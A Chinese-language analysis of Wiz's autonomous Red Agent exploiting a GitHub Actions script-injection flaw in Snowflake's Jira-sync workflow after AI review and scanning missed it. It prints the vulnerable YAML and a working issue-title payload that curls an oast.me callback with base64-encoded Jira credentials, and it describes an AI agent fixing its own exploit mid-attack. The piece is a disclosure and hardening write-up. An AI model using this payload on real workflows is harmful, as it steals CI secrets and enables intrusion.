Wiz的Red Agent在GitHub Copilot Autofix和Advanced Security均未检出问题的情况下,自主发现了Snowflake Jira工作流中的远程代码执行漏洞并完成了利用。
2026 年 6 月 18 日,一个标题为"SNOW-2069227: Update jira workflows"的拉取请求被 squash 合并到了 snowflakedb/snowflake-connector-net——这是 Snowflake 维护的一个公开仓库。GitHub Copilot Autofix 被列为合并提交的共同作者。GitHub Advanced Security 扫描了最终版本,包括随该变更一起发布的 workflow 文件。两者都没有标记出问题。
五天后,由安全厂商 Wiz 构建的自主 AI 智能体扫描了 Snowflake 的 GitHub 组织,找到同一个文件,并在几分钟内针对一个实时的 GitHub Actions 运行器构建了一个可工作的远程命令执行漏洞利用——包括在攻击中途自动修正一个损坏的 shell 载荷,无需人工介入。它窃取了一个 Jira API token,该 token 可对 Snowflake 的内部工程、安全合规和漏洞赏金跟踪项目打开读取权限。
Wiz 于 8 月 17 日发布了完整的技术报告。这对于任何编写 CI/CD workflow 或依赖 AI 代码审查来获得信心的人来说都是一个真正有用的案例研究——并不是因为一个 AI"写出了漏洞",这是已经流传开来的标题版本,Wiz 本身也不得不收回这一说法,而是因为实际发生的情况:两个不同的 AI 辅助安全网直接看到了有漏洞的代码行并通过了它,而第三个 AI 系统是纯粹为了攻击而构建的,它找到了它、利用了它、遇到了运行时错误,并在运行中修正了它自己的漏洞利用。
Wiz Research 通过 HackerOne 运营着一个针对 Snowflake 的漏洞赏金项目,作为持续 engagement 的一部分,他们在 Snowflake 的公开攻击面(包括其开源 GitHub 仓库)上运行"Red Agent"——在 Wiz 的帖子中被描述为一个自主的、AI 驱动的安全研究工具。
Red Agent 专注于 CI/CD 的能力扫描了 Snowflake 的 GitHub 组织,并标记了 jira_issue.yml——这是 connector-net 仓库中的一个 workflow,在任何人打开 GitHub issue 时自动触发。这个 workflow 的职责很平常:将新的 GitHub issues 镜像到 Snowflake 内部的 Jira。漏洞在于它将 issue 标题拼接到 shell 命令中,没有先进行安全转义——这是一个教科书式的 GitHub Actions 脚本注入,GitHub 自己的安全团队自 2020 年以来一直在发布关于此类问题的指南。
这个易受攻击的模式是在 commit 094038e 中引入的,并在 PR #1218 被 squash 合并为 commit 4a1b8ce 时上线。Wiz 的帖子在 8 月 17 日世界协调时间 19:57 特别更新以更正记录:Copilot Autofix 对该 PR 的记录贡献是针对不同文件(jira_close.yml)的单独、不相关的修复,而不是实际引入注入漏洞的 jira_issue.yml 变更。Copilot Autofix 实际做的是为合并的 PR 提供建议并审查了完整的变更集——包括有漏洞的 workflow——并认为它清晰可合并。至于有漏洞的代码行本身是否由 AI 辅助,根据 Wiz 的说法,目前仍不清楚。这是一个与"Copilot 写了这个 bug"有本质不同的说法,值得我们停下来思考,因为更不准确的说法反而传播得更广。
旧的、安全的 workflow 版本是这样做的:
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: jq -n --arg title "$ISSUE_TITLE" ...
通过环境变量传递不可信输入,然后通过 jq --arg 传入,这是教科书式的正确模式:值永远不会被解释为 shell 语法。PR 用这个替换了它:
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
这看起来像是在尝试清理输入——有可见的 sed 转义。问题在于顺序。GitHub 在 shell 运行之前先将 ${{ github.event.issue.title }} 文本展开到 YAML 中,所以攻击者的原始字符串首先进入 echo '...' 引号内,而 sed 转义只在 shell 已经解析(并可能突破)了那个带引号的字符串之后才应用。issue 标题中单个未转义的 ' 会提前关闭引号,并将标题的其余部分作为文字命令交给 bash。这正是 GitHub 自己关于不受信任输入的文档所警告的精确故障模式,而通过移除原本避免它的模式又被重新引入了。
还有一个第二个故障叠加在上面。workflow 有一个看起来像是授权门的东西:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
github.event.pull_request 只在 pull-request 触发的事件上存在。在 issues 事件上,它始终为 null。所以条件归结为 null != 'whitesource-for-github-com[bot]',这始终为真——这个"门"对地球上的每一个 GitHub 用户都通过,无论是认证用户还是非认证用户。这是一个特定的、可识别的 footgun:从 PR 触发的 workflow 复制粘贴条件判断到 issue 触发的 workflow 中,在新的触发器的 payload 中根本不存在它所引用的上下文对象,静默降级为"始终允许"。
这两个错误都是人类审查员、linter 或静态分析能够单独合理地捕捉到的。但 Copilot Autofix 的审查和 GitHub Advanced Security 的扫描都没有在实际的合并版本中、在生产环境中捕捉到任何一个。
Wiz 精心设计了一个 GitHub issue 标题,目的是突破 echo 字符串并通过带外 HTTP 回调窃取 workflow 的 Jira 密钥。载荷的第一个版本使用 # 来注释掉剩余的注入行——这是一种标准技术——但它损坏了:# 也吞噬了 TITLE=$(...) 的右括号,所以运行器返回了 bash 语法错误而不是执行任何东西。
根据 Wiz 的描述,Red Agent 没有停在那里。它解析了语法错误,推断了注释字符为何消耗了超出预期的内容,并修改了载荷,使用 ; echo ' 来正确地重新关闭 shell 块,然后再继续——然后重新触发它。修正后的载荷:
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
几秒钟内,Wiz 的监听器收到了来自 GitHub 托管的 Azure 运行器 IP 的回调,带有 base64 编码的凭证。该 token 以 qa@snowflake.net 的身份对 snowflakecomputing.atlassian.net 进行认证,访问范围覆盖工程、安全合规和漏洞赏金跟踪 Jira 项目——这就是 Wiz 能够生成内部 Jira 门户截图作为影响力证明的方式。
自我修正这个细节值得仔细思考。杀死脚本漏洞的语法错误通常只是杀死它——必须有人注意到、调试并重新运行。而这个 AI 智能体对待失败 shell 命令的方式就像交互式攻击者一样:读取错误、调整载荷、重试、成功。这在技术上是一小步,但却是将"发现漏洞"转变为"自主展示完整影响"的那一步,而且这是对防御者来说扩展性很差的部分,因为它消除了曾经存在于发现和利用之间的人类延迟。
Snowflake 在接到通知的同一天——2026 年 6 月 23 日——进行了修复,在 commit 1dc7766(PR #1402)中恢复了原始的 env: 加 jq --arg 模式,并轮换了暴露的 Jira token。Wiz 表示,Snowflake 审计日志的取证审查确认,在五天的暴露窗口内,除了 Wiz 自己的测试基础设施外,没有其他方访问了该 token,并且 Wiz 在概念验证测试期间检索的所有数据都被删除了。6 月披露和 8 月 17 日发布之间大约两个月的间隔是负责任披露报告的标准做法——给供应商时间来修补、验证和清除发布。
这个机制本身——未转义的模板展开到 shell 块,加上跨触发器类型复制的损坏的 if: 门——足够常见,以至于 GitHub Actions 脚本注入仍然是公开 CI/CD workflow 中最常被重新发现的漏洞类别之一。这个事件之所以成为一个有用的信号,而不仅仅是一篇普通的 CVE 报告,是因为层层叠加的故障:一个 AI 编程助手审查了合并的变更并认为它没问题,一个成熟的静态分析安全产品扫描了同一个文件并保持沉默,而一个专门构建的攻击性 AI 智能体既不需要对代码库的先验知识,也不需要人类操作员,就能在几天内找到、武器化并针对同一行 YAML 证明影响力。
这与"AI 有时会写出不安全的代码"是不同的风险模型——后者已被充分理解,并通过审查关卡得到越来越多的防护。真正更难的问题是,AI 辅助审查和 AI 辅助扫描可能制造虚假信心——一份被机器人"检查过"的 PR 看起来比没被检查的更安全,即使这次检查漏掉了一个专注的攻击者(无论人类还是智能体)能立即发现的东西。与此同时,进攻侧的工具正在将从"漏洞存在"到"漏洞被利用"的时间差从数周压缩到数小时,而且并不要求有熟练的人类操作员在键盘前。
对于在公共仓库上运行 GitHub Actions 的团队来说,实际暴露面很广:任何在 issues、issue_comment、pull_request_target 或类似事件上触发、并将事件载荷字段(标题、正文、分支名、提交信息)直接插入 run: 块的 workflow,都是这个精确 bug 类的候选对象——与 Copilot 或任何其他 AI 工具是否接触过它无关。修复方法并不光鲜,而且文档化已逾数年:永远不要将不受信任的 github.event.* 字段直接插入 shell 语法——通过 env: 传递它们并作为 shell 变量引用,或使用 jq/printf %q 进行结构化转义,每一次都要执行,没有例外——哪怕"这只是一个镜像脚本"。
两个更小的教训藏在这个头条之下。第一,"workflow 已经有 if: 关卡"并不等同于"关卡做了作者想要它做的事"——Snowflake 的条件语法上是有效的,引用了一个真实的(虽然是错误的)上下文字段,任何扫一眼形状而不是追踪特定触发器下哪些字段实际被填充的人都会让它通过代码审查。第二,这个有漏洞版本的 workflow 相比它替换的安全版本添加了可见的清理(sed 调用)——它看起来更防御性,而不是更少,这正是那种让审查者(人类或 AI)将"有转义逻辑"等同于"正确转义、以正确顺序、相对于 GitHub 自身的模板展开"的更改。这两个都不是安全工程领域的新洞察,但都很容易在"这个 PR 触及的是 CI 配置,不是应用代码"这种特定压力下被忽略——这类改动获得的审查往往少于它应得的。
公告没有说的事
Wiz 的文章是一篇厂商安全博客,记录了 Wiz 自己的产品发现了一个 bug——在评估其框架时,这个背景很重要。这是一个单一事件,而不是对 Copilot Autofix 或 GitHub Advanced Security 在此类漏洞上的检测率的系统性审计,所以它不能告诉你这两个工具在脚本注入方面是经常能捕获还是这次漏掉了。它也不能被外部读者独立验证:审计日志取证、"没有其他方访问过该 token"的声明,以及完整的内部 Jira 访问范围,都是 Wiz 基于只有 Wiz 和 Snowflake 能看到的数据报告的。所有这些都不是Dismiss Findings的理由——技术机制(diff、破碎的 if: 条件、callback)是具体且可核查的——但值得将其读作"这是一个厂商的红队智能体演示了什么",而不是对 AI 代码审查的同行评审审计。
文章也没有说明底层的 jira_issue.yml 变更本身是否由 AI 辅助编写,只说 Copilot Autofix 有记录的贡献在同一 PR 的其他地方。那种模糊性是如实报告的,但这意味着流传的"AI 写了这个漏洞"故事的纯净版本实际上并没有被 Wiz 自己的证据所确立。
竞争性与独立性阅读
自主进攻性安全智能体正在成为它们自己的产品类别——专门为在没有人操作每一步的情况下将侦察、利用和影响评估链接起来而构建的工具——Red Agent 就是 Wiz 进入这个空间的 entry,与防御产品线(云安全态势管理)并肩——后者传统上关注发现错误配置,而不是在现实中利用它们。对于一家以被动扫描著称的公司来说,这是一个值得注意的定位转变:通过实际攻破一个目标来证明影响,是一种不同于标记风险分数的宣传。
更有趣的张力在任何单一厂商的上游。GitHub 同时发布审查你 PR 的助手和检查你合并代码的扫描器,而在这起事件中两者在同一个文件上漏掉了同一个 bug。这不是对 GitHub 的具体抨击——每个 SAST 工具和每个 AI 审查者都有盲点,而通过模板展开的脚本注入是一个众所周知的容易被漏掉的模式,因为有漏洞的代码初看并不觉得不对,它看起来像是有人添加了清理。但这是反对将"AI 审查过这个"或"扫描器在这个上跑过"作为理解你 workflow 触发器暴露于何种特定漏洞类的替代品的具体数据点。
谁应该据此行动
如果你维护 GitHub Actions workflow——特别是在公共仓库上由 issues、issue_comment 或 pull_request_target 触发的——这值得花一个下午:grep 你的 .github/workflows/.yml 中任何直接引用 github.event. 字段而不是通过 env: 变量引用的 run: 块,并针对该特定触发器类型可用的实际事件载荷字段检查每个 if: 条件(而不是从有不同触发器的 workflow 复制粘贴过来的)。GitHub 自身关于不受信任输入的文档是规范参考,在这个事件发生前数年就已存在——这里的差距不是未知 guidance,而是重新合并时没有一致应用的 guidance。
如果你正在评估 AI 辅助代码审查或 Autofix 风格的工具,这不是关掉它的理由——而是继续将其 sign-off 视为多个输入之一而非通行证的理由。而如果你在跟踪自主智能体安全领域,Red Agent 是一个具体的、技术上文档化的例子,展示了"AI 智能体将侦察链接到利用而无需人类干预"在实践中现在看起来的样子,包括攻击中的错误恢复——这比该类别大多数厂商营销目前用公开 writeup 支撑的说法更具体。
如果这些都不适用于你——你不维护公共 CI/CD workflow,也没有在评估安全工具——这里没有什么需要你今天关注的。
讨论:如果一个 AI 代码审查者和一个静态分析扫描器都对一个 PR 放行,与一个理解被更改 workflow 特定触发器语义的合格人类审查者相比,这个组合信号实际上应该承载多少权重——在你的团队审查过程中,"有用的额外信号"和"虚假信心"之间的界限在哪里?
Red Agent 利用了被 Github Copilot 漏掉的 Snowflake 漏洞
snowflakedb/snowflake-connector-net
GitHub Actions 安全加固——不受信任的输入
GitHub Advanced Security